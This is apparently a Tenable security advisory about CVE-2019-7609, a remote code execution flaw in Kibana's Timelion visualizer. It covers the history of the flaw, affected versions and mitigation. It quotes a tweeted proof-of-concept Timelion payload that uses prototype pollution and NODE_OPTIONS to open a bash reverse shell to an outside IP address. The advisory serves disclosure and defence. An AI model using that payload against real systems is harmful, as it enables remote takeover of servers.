CVE-2019-7609: Exploit Script Available for Kibana Remote Code Execution Vulnerability
An exploit script for the previously patched Kibana vulnerability is now available on GitHub.
Contexto
On October 21, an exploit script was published to GitHub for a patched vulnerability in Kibana, the open-source data visualization plugin for Elasticsearch. Elasticsearch and Kibana are part of the popular Elastic Stack (also known as ELK Stack), a series of open-source applications used for centralized log management.
Análise
CVE-2019-7609 is an arbitrary code execution vulnerability in Kibana’s Timelion visualizer. The vulnerability was patched in February 2019.
According to Elastic’s advisory for the flaw, an attacker capable of accessing the Timelion application “could send a request that will attempt to execute javascript code” that could result in the attacker executing arbitrary commands on the host under the same permissions as the vulnerable Kibana process.
On October 14, Michał Bentkowski, a security researcher at Securitum, presented a talk at OWASP Poland Day about Prototype Pollution. Bentkowski’s slides from the presentation were published to slides.com, and include his research on CVE-2019-7609, along with proof-of-concept (PoC) code exploiting the vulnerability.
On October 16, Alibaba Cloud security researcher Henry Chen tweeted out the PoC from Bentkowski’s slides:
POC: kibana < 6.6.0
— Henry Chen (@chybeta) October 16, 2019
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')https://t.co/hK9MpwIPaD pic.twitter.com/Oqcu52oKgs
Bentkowski’s research became the basis for the exploit script published earlier this week. The exploit script is designed to identify whether or not a target version of Kibana is vulnerable. If vulnerable, the exploit script will attempt to create a reverse shell on the vulnerable host.
The following table contains information about the vulnerable versions of Kibana based on the information in the Elastic advisory.
|
Kibana Versions |
Status |
|
3.0 through 5.6.14 |
Vulnerable |
|
6.0.0 through 6.6.0 |
Vulnerable |
|
5.6.15 |
Not Vulnerable |
|
6.6.1 and above |
Not Vulnerable |
A BinaryEdge search reveals more than 4,200 publicly accessible Kibana instances. The most prominent versions of Kibana are vulnerable versions, such as 6.2.4, 6.3.2 and 6.3.1.
Prova de conceito
As mentioned, a PoC was published in a slide deck from security researcher Michał Bentkowski and included as part of the exploit script published to GitHub.
Solução
Administrators and users of the Elastic Stack (or ELK Stack) should upgrade to Kibana versions 5.6.15 or 6.6.1 and above. However, if upgrading is not feasible at this time, modify the kibana.yml configuration file to disable Timelion by setting timelion.enabled to false.
Identificação de sistemas afetados
A list of Tenable plugins to identify this vulnerability can be found here.
Obtenha mais informações
- Elastic Stack Advisory (February 2019)
- Slides: Prototype Pollution in Kibana
- Exploit Script for CVE-2019-7609
Junte-se à equipe de resposta de segurança da Tenable na Tenable.
Learn more about Tenable, the first Cyber Exposure platform for holistic management of your modern attack surface. Get a free 60-day trial of Tenable.io Vulnerability Management.
Artigos relacionados
Microsoft’s May 2024 Patch Tuesday Addresses 59 CVEs (CVE-2024-30051, CVE-2024-30040)
May 14, 2024Microsoft addresses 59 CVEs in its May 2024 Patch Tuesday release with one critical vulnerability and three zero-day vulnerabilities, two of which were exploited in the wild.
CVE-2024-21793, CVE-2024-26026: Proof of Concept Available for F5 BIG-IP Next Central Manager Vulnerabilities
May 9, 2024Researchers disclose multiple vulnerabilities in F5 BIG-IP Next Central Manager and provide proof-of-concept exploit code, which could lead to exposure of hashed passwords.
Cybersecurity Snapshot: Attackers Pounce on Unpatched Vulns, DBIR Says, as Critical Infrastructure Orgs Benefit from CISA’s Alert Program
May 3, 2024Verizon’s DBIR found that hackers are having a field day exploiting vulnerabilities to gain initial access. Plus, a CISA program is helping critical infrastructure organizations prevent ransomware attacks. In addition, check out what Tenable’s got planned for RSA Conference 2024. And get the latest on the Change Healthcare breach. And much more!
Microsoft’s May 2024 Patch Tuesday Addresses 59 CVEs (CVE-2024-30051, CVE-2024-30040)
May 14, 2024Microsoft addresses 59 CVEs in its May 2024 Patch Tuesday release with one critical vulnerability and three zero-day vulnerabilities, two of which were exploited in the wild.
Tenable Cloud Security Study Reveals a Whopping 95% of Surveyed Organizations Suffered a Cloud-Related Breach Over an 18-Month Period
May 14, 2024The finding from the Tenable 2024 Cloud Security Outlook study is a clear sign of the need for proactive and robust cloud security. Read on to learn more about the study’s findings, including the main challenges cloud security teams face, their strategies for better protecting their cloud infrastructure and the tools they use to measure success.
Shifting the Paradigm: Why the Cyber Insurance Industry Should Focus on Preventive Security
May 13, 2024As claims and losses climb, it’s clear that preventive security should be prioritized more when designing a cyber insurance policy. Here’s why preventive security investments are cost effective and can lead to lower premiums.
- Vulnerability Management